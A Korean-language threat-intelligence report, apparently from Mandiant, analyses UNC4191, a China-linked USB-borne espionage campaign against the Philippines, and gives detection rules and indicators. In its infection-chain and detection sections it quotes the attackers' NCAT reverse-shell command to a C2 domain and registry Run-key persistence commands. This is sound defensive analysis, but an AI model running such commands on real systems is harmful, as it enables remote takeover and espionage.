중국이 관여한 것으로 보이는 동남아시아 지역을 대상으로 한 스파이 활동
맨디언트 매니지드 디펜스(Mandiant Managed Defense)는 최근 필리핀을 타깃으로 USB 장치를 초기 감염 벡터로 활용하는 사이버 스파이 활동을 확인하였습니다. 맨이언트는 이를 UNC4191로 이름 붙여 추적 중이며 중국과 관련이 있는 것으로 평가하고 있습니다. UNC4191은 주로 동남아시아의 공공 및 민간 부분에 영향을 끼쳤습니다. 그리고 미국, 유럽, 아시아 태평양 지역으로 활동을 넓히기도 했습니다. 참고로 동남아시아 이외 지역을 노린 경우 해당 지역 조직의 시스템은 물리적으로 필리핀에 위치하고 있었습니다.
USB 장치로 피해 시스템을 감염시킨 후 공격자는 합법적으로 서명된 바이너리를 사용해 MISTCLOAK, DARKDEW, BLUEHAZE 세 가지를 포함하여 맬웨어를 로드하였습니다. 시스템이 손상되면 이름이 변경된 NACT 바이너리가 배포되고, 피해 시스템에서 리버스 쉘이 실행됩니다. 이렇게 하여 위협 행위자는 접근 가능한 백도어를 확보합니다. 이 맬웨어는 손상된 시스템에 연결된 이동식 드라이브를 감염시켜 후 자가 복제 과정을 거쳐 악성 페이로드를 다른 시스템으로 전파합니다. 그리고 이를 통해 보안을 위해 네트워크에서 격리한 시스템(Air Gapped System)에서 데이터를 수집하려는 시도를 합니다.
맨디언트 매니지드 디펜스는 지속적으로 위협 헌팅을 수행하여 기존 탐지 메커니즘을 우회하는 새로운 전술, 기술, 절차(이하 TTP) 증거를 찾습니다. UNC4191 활동도 마찬가지입니다. 맨디언트 매니지드 디펜스는 이번 캠페인에 대응할 수 있는 실시간 탐지 기법을 적용하여 유사한 침해 시도로부터 고객을 보호하고 있습니다. 맨디언트의 Adversary Operations 팀은 YARA 룰과 평가 방안(Mandiant Security Validation Actions)을 만들어 배포하였습니다. 이는 본 포스팅 뒷부분을 참조 바랍니다. 초기 위협 헌팅을 통해 발견한 것, 새로 식별한 맬웨어 패밀리, 위협 행위자의 목표와 동기에 대해 하나하나 알아보겠습니다.
발견된 맬웨어
맨디언트는 UNC4191이 다음 맬웨어 패밀리를 배포하는 것을 관찰하였습니다.
맬웨어 패밀리 | 설명 |
디스크의 파일에 저장된 암호화된 페이로드를 실행하는 C++로 작성한 런처입니다. | |
NCAT 사본을 실행하여 하드코딩 된 명령 및 제어(이하 C2)에 대한 리버스 쉘을 생성하는 C/C++로 만든 런처입니다. | |
이동식 드라이브를 감염시킬 수 있는 C++로 작성한 드롭퍼(dropper)입니다. | |
NCAT | 다양한 보안 관리 작업을 수행하기 위해 Nmap 프로젝트용으로 작성한 CLI 네트워크 유틸리티입니다. 합법적인 목적으로 사용할 수 있습니다. 그러나 공격자처럼 악의적인 의도가 있을 경우 파일을 업로드/다운로드하고, 백도어 또는 리버스 쉘을 생성하고, 트래픽을 터널링 하여 네트워크 제어를 회피하는 용도로 쓸 수도 있습니다. |
초기 감지
맨디언트 매니지드 디펜스 고객은 사전 예방을 위해 제공하는 위협 헌팅 서비스를 받습니다. 맨디언트의 위협 헌팅 팀은 MITRE ATT&CK 프레임워크를 참조해 엔드포인트 원격 측정 데이터를 살펴봅니다. 검토 결과를 바탕으로 고객 환경 전반에 걸쳐 해당 위협에 대한 가시성을 확보합니다. 그리고 분석 과정에서 고객의 EDR(Endpoint Detection and Repose)이 생성한 얼럿 같은 추가 정보로 데이터 세트를 보강합니다.
맨디언트는 맞춤형 도구로 위협 행위자의 활동을 식별합니다. 이때 MITRE ATT&CK 메트릭의 공격 시퀀스와 기술 클러스터에 연계해 활동을 구분합니다. MITRE ATT&CK 메트릭의 공격 시퀀스는 로컬 계정 생성(T1136.001) 및 로컬 관리자 그룹 추가(T1098) 같이 특정 순서로 실행되는 이벤트를 식별하는 데 유용합니다. 기술 클러스터는 특정 순서로 발생하지 않는 행위를 식별하는 데 유용합니다. MITRE ATT&CK의 공격 시퀀스와 기술 클러스터를 참조하면 보안 분석가는 수작업으로 검토해야 하는 데이터 양을 줄일 수 있습니다.
예를 들어 맨디언트는 그림 1과 같이 공격자가 도메인 트러스트(T1482)를 열거하고 도메인 및 로컬 그룹 권한(T1069.001, T1069.002)을 몇 분 내에 쿼리 하는 것을 관찰했습니다. 클러스터로 묶이는 세 가지 기술에 연관된 이벤트 수는 수십만 개가 될 수 있습니다. 공격 시퀀스 또는 기술 클러스터를 기준으로 살펴보면 주의 깊게 봐야 할 이벤트 수를 줄일 수 있습니다.
맨디언트는 "Mandiant Intelligence: Staging Directories" 및 "Command and Scripting Interpreter: Windows Command Shell(T1059.003)" 헌팅 미션에서 변칙적인 이벤트 시퀀스를 검색하여 UNC4191 캠페인을 식별했습니다(그림 2).
UNC4191이 사용한 기술을 참조하여 새로운 탐지 기회를 찾을 수 있었습니다. 이는 뒷부분에서 자세히 다루겠습니다.
UNC4191 맬웨어 감염 주기
UNC4191 캠페인의 전체 감염 주기는 그림 3과 같이 세 단계로 나눌 수 있습니다.
1단계: MISTCLOAK
사용자가 손상된 이동식 장치를 연결해 저장소 볼륨의 root 디렉토리에서 이름이 바뀐 서명된 바이너리를 실행할 때 감염 체인이 시작됩니다(T1091). Removable Drive.exe 또는 USB Drive.exe라는 이름의 바이너리는 일레트로닉 팀(Electronic Team)사에서 개발한 USB Network Gate라는 합법적으로 서명된 애플리케이션입니다. 이는 MISTCLOAK 맬웨어를 로드하는 데 쓰입니다(표 2).
MD5: f45726a9508376fdd335004fca65392a File Name(s): D:\Removable Disk.exe, D:\USB Drive.exe Signature Subject: Electronic Team, Inc Product Name: USB Network Gate Original File Name: UsbConfig.exe
MD5: 707de51327f6cae5679dee8e4e2202ba File Name(s): D:\Removable Disk.exe, D:\USB Drive.exe Signature Subject: Electronic Team, Inc Product Name: USB Network Gate Original File Name: UsbConfig.exe |
이름이 바뀐 USB Network Gate 바이너리는 이동식 저장 장치(T1574.002)의 실행 디렉토리에서 u2ec.dll이라는 이름의 MISTCLOAK.DLL을 로드합니다(표 3). MISTCLOAK는 암호화된 파일 usb.ini의 시작 프로그램으로 현재 디렉토리 또는 'autorun.inf\Protection for Autorun\System Volume Information\usb.ini' 경로에서 읽습니다. 맨디언트는 MISTCLOAK 샘플에서 PDB 파일 경로 'G:\project\APT\U盘劫持\new\shellcode\Release\shellcode.pdb'를 식별하였습니다. 여기에 있는 한자는 디스크 하이재킹을 뜻합니다.
MD5: 7753da1d7466f251b60673841a97ac5a File Name: u2ec.dll Compile Time: 2021-09-01T09:23:30Z Exports: u2ec.dll Size: 82,944 PDB filename: G:\project\APT\U盘劫持\new\u2ec\Release\u2ec.pdb (G:\project\APT\U Disk Hijacking\new\u2ec\Release\u2ec.pdb) |
파일 로드 후 MISTCLOAK는 ‘explorer.exe "<drive>:\autorun.inf\Protection for Autorun"’ 명령을 사용해 사용자 파일이 저장된 이동식 저장 장치의 위치로 Windows 탐색기를 엽니다.
2단계: DARKDEW
파일 usb.ini에는 이동식 저장 장치를 감염시킬 수 있는 DARKDEW라는 암호화된 DLL 페이로드가 포함되어 있습니다. 이동식 저장 장치에서 실행되는 경우 DARKDEW는 `explorer.exe “<drive>:\autorun.inf\Protection for Autorun”` 를 통해 explorer.exe를 시작합니다. 여기서 <drive>는 "E"와 같은 이동식 드라이브 문자입니다. 그런 다음 DARKDEW는 ‘C:\ProgramData\udisk\disk_watch.exe’ 또는 ‘C:\ProgramData\udisk\DateCheck.exe’ 가 존재하는지 확인하고 둘 다 없으면 ‘C:\ProgramData\udisk’ 디렉토리를 생성합니다.
MD5: 6900cf5937287a7ae87d90a4b4b4dec5 File Name: N/A Compile Time: 2021-09-09T08:45:31Z Exports: N/A Size: 123,904 PDB filename: G:\project\APT\U盘劫持\new\shellcode\Release\shellcode.pdb |
그런 다음 DARKDEW는 ‘<drive>:\autorun.inf\Protection for Autorun\System Volume Information\’에서 ‘C:\ProgramData\udisk\’로 모든 파일을 복사합니다. 맨디언트는 이전에 DARKDEW(T1074.001)에 의해 손상되어 USB 장치에 복사된 시스템에서 생성된 Removable Dreive(16GB).ink 같은 파일을 식별하였습니다. 복사된 데이터에는 표 5에 표시된 파일과 확장자가 xlsx, docx, mp4, device, jpg, pptx, pdf, txt, ink 파일인 임의 파일이 포함됩니다.
C:\ProgramData\udisk\disk_watch.exe C:\ProgramData\udisk\libeay32.dll C:\ProgramData\udisk\Removable Disk.exe C:\ProgramData\udisk\rzlog4cpp.dll C:\ProgramData\udisk\rzlog4cpp_logger.dll C:\ProgramData\udisk\ssleay32.dll C:\ProgramData\udisk\u2ec.dll C:\ProgramData\udisk\USB Drive.exe C:\ProgramData\udisk\usb.ini C:\ProgramData\udisk\UsbConfig.exe C:\ProgramData\udisk\wuwebv.exe C:\ProgramData\udisk\DateCheck.exe C:\ProgramData\udisk\example.jpg C:\ProgramData\udisk\example.xlsx |
그런 다음 DARKDEW는 이름이 바뀐 USB Network Gate 바이너리(예: Removable Drive.exe)를 ‘C:\ProgramData\udisk\disk_watch.exe’에 복사하고 ‘HKCU\Software\Microsoft\Windows\CurrentVersion\Run(T1547.001)’ 아래에 udisk라는 레지스트리 키값으로 지속성을 생성합니다. 마지막으로 DARKDEW는 ‘C:\ProgramData\udisk\DateCheck.exe’라는 파일을 시작한 다음 종료합니다.
Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Value: udisk Text: c:\programdata\udisk\disk_watch.exe |
이동식이 아닌 드라이브에서 DARKDEW를 실행하면 동작이 좀 다릅니다. DARKDEW는 ‘C:\ProgramData\udisk\’ 디렉토리를 만든 다음 상위 실행 파일의 현재 디렉토리에 있는 모든 파일을 ‘C:\ProgramData\udisk\’로 복사합니다. 그런 다음 상위 실행 파일을 ‘C:\ProgramData\udisk\disk_watch.exe’에 복사하고 실행합니다. 지속성 메커니즘은 같으며 ‘C:\ProgramData\udisk\DateCheck.exe’도 시작합니다.
DARKDEW가 'disk_watch.exe'의 컨텍스트 내에서 실행되면 맬웨어는 이동식 저장 장치를 찾을 때까지 A에서 Z까지 볼륨을 열거하여 10초마다 시스템에서 장치를 검색합니다. 그런 다음 DARKDEW 맬웨어는 ‘<drive>\autorun.inf\Protection for Autorun\’ 디렉토리를 만들고 속성을 숨김으로 설정한 다음 'disk_watch.exe'의 현재 작업 디렉토리 컨텐츠를 해당 디렉토리 또는 ‘<drive>:\autorun.inf\Protection for Autorun\System Volume Information\’ 하위 디렉토리에 복사합니다. 이 기능은 자체 복제 및 네트워크에서 격리한 시스템(Air Gapped System)에서 수집할 수 있는 파일 전송을 위한 것으로 보입니다.
3단계: BLUEHAZE
비이너리 'DataCheck.exe'는 라이저 USA(Rizar USA)사의 Razer Chromium Render Process라는 합법적이고 서명된 애플리케이션의 이름이 바뀐 버전입니다(표 7).
MD5: ea7f5b7fdb1e637e4e73f6bf43dcf090 File Name(s): DateCheck.exe Signature Subject: Razer USA Ltd. Product Name: Razer Chromium Render Process Original File Name: RzCefRenderProcess.exe |
이름이 바뀐 애플리케이션인 'DataCheck.exe'는 합법적인 파일인 'rzlog4cpp_logger.dll'을 로드합니다. 이 파일은 C 런타임 시작(T1574.002) 동안 BLUEHAZE 맬웨어 'RzLog4CPP.dll'에서 'getRoot' 함수를 호출합니다.
MD5: f632e4b9d663d69edaa8224a43b59033 File Name: RzLog4CPP.dll Compile Time: 2021-09-09T09:27:12Z Exports: log4cpp.dll Size: 201,216 PDB filename: N/A |
BLUEHAZE는 ‘C:\Users\Public\Libraries\CNNUDTV\’라는 새 디렉토리를 만든 다음 지속성을 위해 ‘HKCU\Software\Microsoft\Windows\CurrentVersion\Run (T1547.001)’ 아래에 레지스트리 키 값을 만듭니다. 다음으로 BLUEHAZE는 작업 디렉토리의 모든 파일을 ‘C:\Users\Public\Libraries\CNNUDTV\’로 복사한 다음 이름이 바뀐 NCAT 실행 파일 'wuwebv.exe'를 실행하여 하드코딩 된 C2 주소 ‘closed[.]theworkpc[.]com:80 (T1059)’에 대한 리버스 쉘을 만듭니다. 맨디언트는 리버스 쉘 상호 작용의 증거는 찾지 못했는데, 위협 행위자의 활동 기간이나 피해 시스템의 짧은 로그 보존 기간으로 인한 것이라 볼 수 있습니다.
DateCheck.exe >
cmd.exe /c copy *.* C:\\Users\\Public\\Libraries\\CNNUDTV\\"
cmd.exe /C wuwebv.exe -t -e c:\\windows\\system32\\cmd.exe closed.theworkpc[.]com 80 |
전망 및 시사점
UNC4191 캠페인이 시작된 것은 2021년 9월로 거슬러 올라가는 것으로 보입니다. 맬웨어의 특성을 고려할 때 확산 후기 단계를 보안 분석가들이 감지한 것이라 할 수 있습니다. 맨디언트는 이 활동이 중국의 정치적 및 상업적 이익과 관련된 정보 수집을 목적으로 공공 및 민간 기관에 대한 접근 권한을 획득하고 이를 유지하기 위한 작전이라고 생각합니다. 맨디언트가 식별한 영향을 받는 시스템을 기준으로 볼 때 필리핀에 있는 기업이 주요 목표인 것 같습니다.
캠페인 추적
맨디언트는 계속해서 UNC4191의 캠페인을 모니터링하고 있습니다. 이를 통해 전술 및 기술의 변화나 새로운 기능을 갖춘 도구 및 인프라 사용 등 주요할 만한 사항이 있을 경우 업데이트를 제공할 것입니다. 맨디언트가 UNC4191 과 같은 캠페인을 추적하는 방법에 대한 자세한 내용은 맨디언트 어드밴티지 인텔리전스 내의 'Threat Campaign' 기능을 참조 바랍니다.
탐지 기회
탐지 기회 | MITRE ATT&CK | 이벤트 내용 |
NCAT reverse shell execution arguments | T1059 | wuwebv.exe -t -e c:\\windows\\system32\\cmd.exe closed.theworkpc[.]com 80 |
Parent or grandparent processes executing from Non-C:\ Drive Root | T1091, T1036 | Process: D:\USB Drive.exe
Child Processes: > explorer.exe "D:\autorun.inf\Protection for Autorun" > c:\programdata\udisk\disk_watch.exe > c:\programdata\udisk\DateCheck.exe
Grandchild Processes: >> "cmd.exe /C reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v ACNTV /t REG_SZ /d \"Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\Users\\Public\\Libraries\\CNNUDTV\\DateCheck.exe\"\" /f" >> cmd.exe /c copy *.* C:\\Users\\Public\\Libraries\\CNNUDTV\\" >> cmd.exe /C wuwebv.exe -t -e c:\\windows\\system32\\cmd.exe closed.theworkpc[.]com 80 |
Registry Run key persistence for binary in PROGRAMDATA | T1060 | Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Value: udisk Text: c:\programdata\udisk\disk_watch.exe |
Registry Run key executing RunDLL32 command | T1218.011, T1060
| reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v ACNTV /t REG_SZ /d \"Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\Users\\Public\\Libraries\\CNNUDTV\\DateCheck.exe\"\" /f" |
File name of executing process doesn’t match original name | T1036, T1574.002 | OriginalFileName: UsbConfig.exe File Name: Removable Disk.exe, USB Drive.exe
OriginalFileName: RzCefRenderProcess.exe File Name: DateCheck.exe |
Windows Explorer process execution with folder path specified on command line | T1091 | Parent Process Path: D:\USB Drive.exe Process: explorer.exe Command Line: explorer.exe "D:\autorun.inf\Protection for Autorun" |
Mandiant Security Validation Actions
Mandiant Security Validation에서 다음 작업을 통해 보안 제어를 검증할 수 있습니다.
VID | 이름 |
A105-454 | Protected Theater - UNC4191, BLUEHAZE, Execution, Variant #1 |
A105-455 | Protected Theater - UNC4191, DARKDEW, Execution, Variant #1 |
A105-466 | Command and Control - UNC4191, DNS Query, Variant #1 |
YARA 룰
MISTCLOAK
|
DARKDEW
|
BLUEHAZE
|
침해 지표
유형 | 값 | 설명 |
Domain | closed.theworkpc[.]com | NCAT C2 |
MD5 | 7753da1d7466f251b60673841a97ac5a | MISTCLOAK |
MD5 | c10abb9f88f485d38e25bc5a0e757d1e | DARKDEW (usb.ini file) |
MD5 | 6900cf5937287a7ae87d90a4b4b4dec5 | DARKDEW (decrypted payload) |
MD5 | f632e4b9d663d69edaa8224a43b59033 | BLUEHAZE |
MD5 | 8ec339a89ec786b2aea556bedee679c7 | NCAT |
MD5 | f45726a9508376fdd335004fca65392a | USB Network Gate (Legitimate Binary used for DLL Side-Loading) |
MD5 | 707de51327f6cae5679dee8e4e2202ba | USB Network Gate (Legitimate Binary used for DLL Side-Loading)
|
MD5 | ea7f5b7fdb1e637e4e73f6bf43dcf090 | Razer Chromium Render Process (Legitimate Binary used for DLL Side-Loading) |
File Path | C:\ProgramData\udisk | File and Malware Staging |
File Path | C:\Users\Public\Libraries\CNNUDTV | File and Malware Staging |
감사의 말
MISTCLOAK, DARKDEW, BLUEHAZE 샘플 분석에 도움을 준 Tobias Krueger와 Conor Quigley 그리고 MSV(Mandiant Security Validation) 작업을 만든 Matthew Hoerger에그 특별히 감사합니다. 그리고 기술 검토에 도움을 준 Tim Martin, Alexander Pennino, Nick Richard, Sarah Hawley에게도 감사의 말을 전합니다.